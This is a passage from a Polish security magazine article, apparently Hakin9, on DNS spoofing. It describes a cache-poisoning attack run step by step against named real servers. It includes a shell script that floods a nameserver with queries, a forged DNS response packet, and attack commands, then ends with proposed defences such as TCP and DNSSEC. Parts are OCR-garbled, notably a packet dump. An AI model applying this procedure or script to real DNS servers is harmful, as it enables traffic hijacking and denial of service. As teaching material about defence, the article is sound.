je sie, ktore serwery obstugujg interesujgcg go domene.
W przedstawionym konkretnym przypadku okazato sie,
ze domene cadence.com obstugujg dwa serwery nazw.
Aby dowiedzie¢ sie, z ktorego z nich skorzysta ata-
kowany serwer mozna wykorzysta¢ znowu pole TTL.
Dla przypomnienia przedstawiono ponizej jeszcze raz
fragment komunikatu DNS, ktéry zawiera informacje na
temat serweréw domeny cadence.com:

// dodatkowe informacje

Additional records

ns.cadence.com: type A, class inet, addr 158.140.1.253
Name: ns.cadence.com

Type: Host address

Class: inet

Time to live: 15 minutes

Data length: 4

Addr: 158.140.1.253

auth00.ns.uu.NET: type A, class inet, addr 198.6.1.65
Name: auth00.ns.uu.NET

Type: Host address

Class: inet

Time to live: 1 day, 15 hours, 38 minutes, 29
seconds
Data length: 4

Addr: 198.6.1.65

Linie o tresci Time to live... zawierajg informacje doty-
czace okresu przechowywania poszczegolnych danych
w pamieci podrecznej. Jak wida¢ informacja dotyczaca
serwera ns.cadence.com zostanie usunieta z pamieci
podrecznej w ciggu 15 minut, natomiast informacja
o serwerze auth00.ns.uu.net bedzie przechowywana
znacznie dtuzej. Oznacza to, ze wszystkie zapyta-
nia dotyczace domeny cadence.com, ktore nastgpig
po 15 minutach od czasu zapamigtania tego rekordu
w pamieci podrecznej, zostang skierowane do serwera
auth00.ns.uu.net.

www. hakinS.org
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Tabela 2. Wybrane mozliwe scenariusze atakow z uzyciem DNS

Obiekt ataku

Przegladarka stron
WwWw

Metoda ataku

Intruz podszywa sig¢ pod strone WWW banku,
z ktérego ustug korzysta ofiara.

Efekt udanego ataku
Zdobycie dostepu do konta ofiary.

Intruz podszywa sie pod strone WWW firmy,
z ktorg ofiara chce sie skontaktowac.

Przejmowanie klientow firmy.

Intruz podszywa sie pod strone WWW, na ktérej
ofiara poszukuje informacji na temat btedéw
bezpieczenstwa w uzywanym przez siebie opro-
gramowaniu.

Obejscie zabezpieczen opartych na dostepnie do
serwera FTP tylko z wybranych komputeréw.

Oprogramowanie
FTP

Intruz podszywa sie pod serwer FTP, z ktérego
korzysta ofiara.

Przejecie danych wysytanych na serwer przez
ofiare lub podstawienie wtasnych w przypadku,
gdy ofiara pobiera jakies pliki.

Intruz podszywa sie pod serwer z oprogramowa-
niem, z ktérego korzysta ofiara.

Obejscie zabezpieczen opartych na dostepnie do
serwera FTP tylko z wybranych komputeréw.

Systemy automa-
tycznego spraw-
dzania najnowsze;j
wersji oprogramo-
wania

Intruz podszywa sie pod serwer z oprogramowa-
niem, z ktérego korzysta ofiara.

Ofiara instaluje na swoim komputerze oprogramo-
wanie podstawione przez intruza.

Intruz podszywa sie pod serwer z oprogramowa-
niem, z ktérego korzysta ofiara.

Obejscie zabezpieczen opartych na dostepnie do
serwera FTP tylko z wybranych komputeréw.

Ustugi do ktérych

Intruz podszywa sie pod serwer, ktéry udostepnia

Zdobycie informacji na temat adreséw klientow,

dostep mozliwy
jest tylko z wybra-
nych komputeréw.

takg ustuge.

ktére majg dostep do tego serwera.

do danej ustugi.

Intruz podszywa sie pod klienta, ktéry ma dostep

Obejscie zabezpieczen opartych na dostepnie do
serwera tylko z wybranych komputeréw.

Teraz, kiedy wiadomo juz, w jaki sposob intruz moze
uzyska¢ odpowiedzi na najwazniejsze pytania, mozna
ustali¢ przyktadowy scenariusz mozliwego ataku. Wyko-
rzystano do tego takg samg sytuacje jak ta, ktéra miata
miejsce podczas praktycznego testu protokotu. Dodatko-
wo pojawit sie tu komputer, z ktérego bedzie dziatat intruz
(rubycon.man.szczecin.pl, adres IP 212.14.1.69). Rysu-
nek 3 przedstawia opisywany wycinek sieci Internet.

Celem intruza jest spowodowanie, aby po wydaniu
polecenia telnet warpl.cadence.com uzytkownik kompute-
ra phobos potaczyt sie z komputerem rubycon. Doktadny
scenariusz postepowania intruza przedstawia Tabela 2.

O ile dziatania, ktére podejmuje intruz w wiekszosci
krokéw wyjasniono wczesniej, o tyle czas, jaki uptynat
pomiedzy krokiem pigtym a széstym, moze budzié
pewne watpliwosci — wymaga wiec doktadniejszego
wyjasnienia.

Jak wczesniej ustalono, intruz musi przestac¢ do ata-
kowanego serwera 65535 pakietow. Stwierdzono takze,
ze dtugos¢ kazdego z tych pakietow wynosi okoto 100
bajtéw. W tym konkretnym scenariuszu intruz znajduje sie
w tej samej podsieci co atakowany serwer DNS i dyspo-
nuje taczem o przepustowosci 10 Mbps. Czas potrzebny
na przestanie pakietéw mozna wyrazi¢ wzorem:

XX

XXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXKXXXX

wzor1l.eps
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XX
gdzie T to czas w sekundach potrzebny na wystanie

pakietow, iP to ilos¢ pakietéw do wystania, dP to dtu-

gos¢ kazdego pakietu, a S to predkosc¢ tacza w Mbps.

W omawianym tutaj konkretnym przypadku wzor
przyjmie wiec nastepujgca postac:

XXXX

XXXXXXXXWZOr2.eps @@ @XXXXXXX

XXX

Oczywiscie na catkowity czas trwania transmisji ma
wptyw jeszcze wiele réoznych czynnikéw, takich jak np.
szybko$¢ medium uzywanego w sieci lokalnej, wydaj-
nos¢ urzadzen uzytych do budowy sieci, jak réwniez
wiele aspektow zwigzanych z mozliwosciami przyjecia
takiej ilosci pakietéw przez serwer DNS. Przyjeto wiec,
ze w praktyce wartos¢ ta moze by¢ dwa razy wieksza.

W omawianym scenariuszu uzytkownik wykonat
polecenie telnet warpl.cadence.com dziewiecdziesiat
minut po rozpoczeciu ataku. Oczywiscie mogt to zrobié
w dowolnym momencie po wystaniu wszystkich pakie-
téw przez intruza.

Aby przekona¢ sie, czy wymyslony na potrzeby
tego tekstu scenariusz na pewno da sie zrealizowac,
postanowiono wykona¢ praktyczny atak na serwer
apollo.aci.com.pl, postepujac zgodnie z zatozonymi
w tabeli 3 krokami.
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Listing 5. Fragment analizowanego pakietu

Domain Name System (response)
// identyfikator odpowiedzi
Transaction ID: 0xf2bl
Flags: 0x8480 (Standard query response, No error)
l.e. vvvv «vve «v.. = Response
.000 O... . = Standard query
..0. .... ....deomddssage is not truncated
e 2000 Ll
..0 1... .... = BenmVerdeoagudoyrzeaussveeqyeries

. = Peadsgdoigqueey reuncatedly

. 1... 0000 = Nerewerogan do recursive
Questions: 1 queries
Answer.RRs:.1l.... 0000 = No error
Buehbidng:RRs: 2
AddwefoRBE:RRs: 2
Buehdesty RRs: 2
AddwatphataBRaceZcom: type A, class inet
QuerieName: warpl.cadence.com
warffypeadédnee.addresgpe A, class inet
Bamss:wanpt.cadence.com
AnswerBype: Host address

AnswerName: warpl.cadence.com
warfiypeadédnse.addresgpe A, class inet, addr
158.140.108.44

// czaBameznwedrplodpdenedzdom

Class: inet

Type: tBodtvaddiésminutes
Oidsaslengeh: 4
// ¢adanyaadeésilddpowiedzi
Rdrde : t6581¢40.108mddutes
// infbzmacjengtberwerach DNS
AithadahytadeenahBservers
Addr: 158.140.108.44
// informacje o serwerach DNS

Authoritative nameservers

1. ... «... = Server is an authority for domain

warPlasadenoetcom: type A, class inet, addr 158.140.108.44

cadence.com: type NS, class inet, ns ns.cadence.com
Name: cadence.com
Type: Authoritative name server
Class: inet
Time to live: 15 minutes
Data length: 5
Name server: ns.cadence.com
cadence.com: type NS, class inet, ns
auth00.ns.uu.NET
Name: cadence.com
Type: Authoritative name server
Class: inet
Time to live: 15 minutes
Data length: 18
Name server: auth00O.ns.uu.NET
// dodatkowe informacje
Additional records
ns.cadence.com: type A, class inet, addr
158.140.1.253
Name: ns.cadence.com
Type: Host address
Class: inet
Time to live: 15 minutes
Data length: 4
Addr: 158.140.1.253
auth00.ns.uu.NET: type A, class inet, addr
198.6.1.65
Name: auth00.ns.uu.NET
Type: Host address
Class: inet
Time to live: 1 day, 15 hours, 38 minutes, 29
seconds
Data length: 4
Addr: 198.6.1.65

Krok 1
Wykonano polecenie:

rubycon:~$ host -t ANY cadence.com

Krok 2

rubycon:~$ nslookup www.cadence.com apollo.aci.com.pl

)

apollo.aci.com.pl auth00.ns.uu.net

warp1.cadence.com

phobos fubycon
— —
LAN LAN

Rysunek 3. Logiczny schemat sieci uzytej do ataku na
DNS
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Server: apollo.aci.com.pl

Address: 212.14.1.81
Name : www.cadence.com

Address: 4.18.241.156

Specjalnie zadano zapytanie dotyczgace nazwy
www.cadence.com. Zabieg ten spowodowat, ze serwer
apollo.aci.com.pl zapamietat w swojej pamieci podrecz-
nej dane dotyczace serwerdw obstugujgcych domene
cadence.com oraz dane dotyczace nazwy www.ca-
dence.com. Gdyby w tym miejscu uzyto nazwy war-
p1.cadence.com zostataby ona zapamietana w pamieci
podrecznej, co utrudnitoby atak.

Krok 3

W tym kroku uzyto prostego skryptu (Listing 6), kto-
rego dziatanie polegalo na wysytaniu do serwera
auth00.ns.uu.net zapytan o losowe adresy |IP kompute-
row. Dzieki temu zostat on obcigzony na tyle, ze w piet-
nastej minucie ataku czas odpowiedzi tego serwera
wynosit okoto 45 sekund.

www. hakinS.org
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Tabela 3. Scenariusz postepowania intruza podczas ataku na DNS

Opis kroku

1 Intruz odpytuje serwer nazw domeny cadence.com, aby zdoby¢ informacje niezbedne do
przeprowadzenia ataku.

Czas jaki uptynat od
momentu rozpocze-
cia ataku (mm:ss)

00:00

2 Intruz odpytuje atakowany serwer apollo.aci.com.pl o domene cadence.com. Dzieki temu
informacje te zostajg zapamietane przez serwer w pamieci podrecznej.

00:05

nia.

8 Intruz rozpoczyna atak Denial of Service wymierzony przeciwko serwerowi
auth00.ns.uu.net. Spowoduje to, ze nie bedzie on w stanie odpowiadac na zadne zapyta-

00:10

ce.com.

4 Intruz zadaje serwerowi apollo.aci.com.pl pytanie o adres |P komputera warp1.caden-

15:10

wiedzi.

5 Intruz zaczyna wysyta¢ serwerowi apollo.aci.com.pl podstawione odpowiedzi z adre-
sem zrodtowym komputera auth00.ns.uu.net, z ustawiong maksymalng wartosciag
TTL, zawierajace informacje o tym, ze adresem |IP komputera warp1.cadence.com jest
adres 212.14.1.69. Jest to tacznie 65535 pakietow, kazdy z innym identyfikatorem odpo-

15:11

6 Intruz konczy wysytanie podstawionych pakietéw. W tym momencie serwer apol-
lo.aci.com.pl ma w swojej pamieci podrecznej podstawione przez intruza dane na temat
adresu IP komputera warp1.cadence.com.

15:21

7 Uzytkownik komputera phobos wydaje polecenie telnet warpl.cadence.com. Serwer
apollo.aci.com.pl przekazuje mu dane pochodzace z pamieci podrecznej o tym, ze adres
IP tego komputera to 212.14.1.69.

90:00

Krok 4
Wydano polecenie:

rubycon:~$ nslookup warpl.cadence.com apollo.aci.com.pl

Krok 5

Listing 7 przedstawia jeden z pakietow, ktére wystano
do serwera apollo.aci.com.pl. Kolejne réznity sie tylko
identyfikatorem odpowiedzi.

Warto odnotowac¢, ze przestanie wszystkich pakie-
téw zajeto niecate 10 sekund. Oznacza to, ze wylicze-
nia przeprowadzone w trakcie omawiania scenariusza
ataku byty wtasciwe.

Krok 6

W tym kroku wszystkie pakiety zostaty juz wystane. O tym,
ze atak sie powiodt, swiadczy odpowiedz serwera apol-
lo.aci.com.pl na pytanie zadane mu w kroku czwartym:

Server: apollo.aci.com.pl

Address: 212.14.1.81
Name: warpl.cadence.com

Address: 212.14.1.69

Krok 7
Uzytkownik komputera phobos wykonuje polecenie telnet
warpl.cadence.com. Serwer apollo.aci.com.pl przesyta mu

informacje, ze adres IP tego komputera to 212.14.1.69.
W efekcie tego faczy sie on z komputerem intruza.

phobos:~$ telnet warpl.cadence.com

www. hakinS.org

Trying 212.14.1.69...

Atak powiddt sie. Udowodniono tym samym, Zze znalezione
podczas analizy bezpieczenstwa btedy zwigzane z bez-
pieczenstwem w protokole DNS sg realnym zagrozeniem
dla uzytkownikéw Internetu. Oznacza to jednoczesnie,
ze przytoczone w Tabeli 2 przyktady wykorzystania tych
btedéw moga zostac uzyte przeciwko uzytkownikom.

Propozycje ulepszenia protokotu.

Najprostszg metoda, dzieki ktorej przeprowadzenie opi-
sanych atakow moze by¢ znacznie utrudnione, jest wyta-
czenie obstugi pamieci podrecznej przez serwery DNS.
Uniemozliwi sie w ten sposob intruzowi wprowadzenie
do tej pamieci nieprawdziwych danych. Nie wyeliminuje
to oczywiscie catego zagrozenia, niemniej zmusi intruza
do dokfadnego przewidzenia, w ktérym momencie jego
ofiara zleci serwerowi DNS zmapowanie danego adresu
IP badz nazwy komputera. Wprowadzi to do scenariu-
sza ataku wiele dodatkowych przeszkdd | moze w wielu
przypadkach zapobiec mu. Rozwigzanie to wigze sie
oczywiscie z pozbyciem sie pewnej funkcjonalnosci DNS,
jaka jest przechowywanie ostatnio uzywanych danych
w pamieci podrecznej. W wyniku moze to znacznie zwigk-
szy¢ ruch w sieci oraz powodowac¢ odczuwalne opoznie-
nia w dziataniu ustug korzystajacych z DNS. Mimo tych
wad rozwigzanie to stanowi prostg i dos¢ skuteczng
metode zwiekszenia poziomu bezpieczernstwa protokotu.

Gtéwnym czynnikiem powodujacym tak duze zagro-
zenia przy korzystaniu z DNS jest z pewnoscig fakt wyko-
rzystywania przez niego bezpotgczeniowego protokotu

HakinS Nr 1



DNS spoofing

Listing 6. Skrypt wysytajgcy do serwera
auth00.ns.uu.net zapytania o losowe adresy IP
komputerow

#!/bin/sh

export SECONDS=130

LICZBA2=0

LICZBA3=0

LICZBA4=0
CEL_ATAKU="auth00.ns.uu.net"

while [5-I1t 10 ];
do
let LICZBA2=LICZBA2+1
let LICZBA3=LICZBA2+3
let LICZBA4=LICZBA2+4
host $SECONDS.$LICZBA2.$LICZBA3.S$LICZBA4 SCEL_
ATAKU &

if [ "SLICZBA2" = "220" ];
then

LICZBA2=0
fi

done

UDP. Najrozsadniejszym wyjsciem z sytuacji wydaje sie
wiec zastosowanie w jego miejsce protokotu TCP. Okazu-
je sie nawet, ze oprogramowanie BIND uzywa w pewnych
warunkach TCP — dzieje sig tak np. wtedy, gdy komunikat
DNS ma dtugos¢ wieksza niz 512 bajtéw. Gdyby przero-
bi¢ oprogramowanie BIND w taki sposéb, aby caty czas
korzystato ono z TCP, problem podrabiania odpowiedzi
DNS zostatby rozwigzany. Wydaje sie wiec, ze jest to
najkorzystniejsze rozwigzanie.

Kolejnym sposobem umozliwiajgcym obrone przed
tego typu atakami jest zaimplementowanie w oprogramo-
waniu BIND modutu, ktéry zapobiegatby im poprzez state
monitorowanie ruchu naptywajgcego do serwera. W sytu-
acji gdyby zaczety pojawiac sie w krétkim okresie czasu
pakiety réznigce sie nieznacznie od siebie (np. dotyczace
tego samego adresu IP badz nazwy komputera), modut
taki uznawatby to za atak i podejmowat odpowiednie
kroki. Stabg strong takiego rozwigzania jest ewentualna
mozliwos¢é powstania atakéw Denial of Service na taki
modut. W zwigzku z tym kroki, ktére podejmowatby modut
po wykryciu ataku musiatyby by¢ bardzo szczegétowo
zaprojektowane. Prawdopodobnie zadanie to okazatoby
sie bardzo trudne do rozwigzania.

Obecnie trwajg prace zwigzane z wdrozeniem
w Internecie protokotu DNSSEC. Jest on zaprojekto-
wanym praktycznie od poczatku odpowiednikiem DNS,
jednak w trakcie jego projektowania gtéwny nacisk
potozono na bezpieczenstwo. Podczas mapowania
adresow wykorzystuje on wiec infrastrukture klucza
publicznego serweréw oraz odpowiednie certyfikaty

Hakin9 Nr 1

Listing 7. Jeden z pakietow, ktére wystano do
serwera apollo.aci.com.pl

// catkowita diugo$é pakietu

Packet Length: 110 bytes

// adres zrédiowy

Source: auth0O.ns.uu.net (198.6.1.65
// adres docelowy

Destination: apollo.aci.com.pl (212.14.1.81)
// port zrbdiowy

Source port: domain (53

// port docelowy

Destination port: domain (53)

// identyfikator odpowiedzi
Transaction ID: 0x0001

// maksymalny mozliwy TTL

Time to live: 24775 days, 4 hours, 22 minutes, 24
seconds

// podstawiony adres IP
Addr: 212.14.1.69

potwierdzajgce autentyczno$¢ odpowiedzi. Jest to
oczywiscie bardzo bezpieczne rozwigzanie, posiadaja-
ce jednak pewng istotng wade — nie jest kompatybilne
ze starszg wersjg DNS. Wymaga, aby wszystkie ser-
wery DNS w Internecie korzystaty z DNSSEC, co oczy-
wiscie znacznie utrudni szybkie jego upowszechnienie.
Bardzo waznym krokiem, poczynionym przez tworcow
BIND-a, byto zaimplementowanie obstugi DNSSEC
W najnowszej wersji ich oprogramowania. Oznacza to,
ze poszczegodlne serwery DNS mogg pracowac jed-
noczesnie ze starszg i nowszg wersjg protokotu. Na
pewno przyspieszy to upowszechnienie sie DNSSEC,
jednak stopien skomplikowania konfiguracji potrzebnej
do prawidtowego dziatania nowego protokotu nie wrézy
mu w najblizszej przysztosci lawinowego przyptywu
nowych uzytkownikéw.

W chwili obecnej najlepsza rada, jakg mozna da¢
uzytkownikom Internetu jest wiec propozycja catkowitej
rezygnacji z wykorzystywania DNS w sytuacjach, w kt6-
rych bezpieczenstwo odgrywa wazna role. Nalezy wiec
uzywac adresow IP komputeréw podczas:

» konfiguraciji list dostepu do ustug serwera,

» Kkorzystania z waznych stron WWW (homebanking,
wazne informacje np. na temat ostatnich uaktual-
nien uzywanego oprogramowania itp.),

» Kkorzystania z wszelkich ustug za pomoca ktérych sg
pobierane bgadz wysytane pliki.

Powyzsza lista sugeruje oczywiscie zachowanie ostroz-
nosci tylko w najbardziej oczywistych przypadkach.
Mnogos¢ ustug swiadczonych w sieci Internet uniemoz-
liwia sporzadzenie szczegdtowego wykazu wszystkich
sytuacji, w ktérych bierne korzystanie z protokotu DNS

www. hakinS.org
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jest niebezpieczne. Sg tez niestety ustugi, ktére do
swojego dziatania wymagajg DNS-u — w takim przy-
padku nie ma oczywiscie mozliwosci rezygnaciji z tego
protokotu. Jednym z najwazniejszych przyktadéw jest tu
ustuga poczty internetowej, ktéra swoje dziatanie opiera
w duzym stopniu na DNS. &
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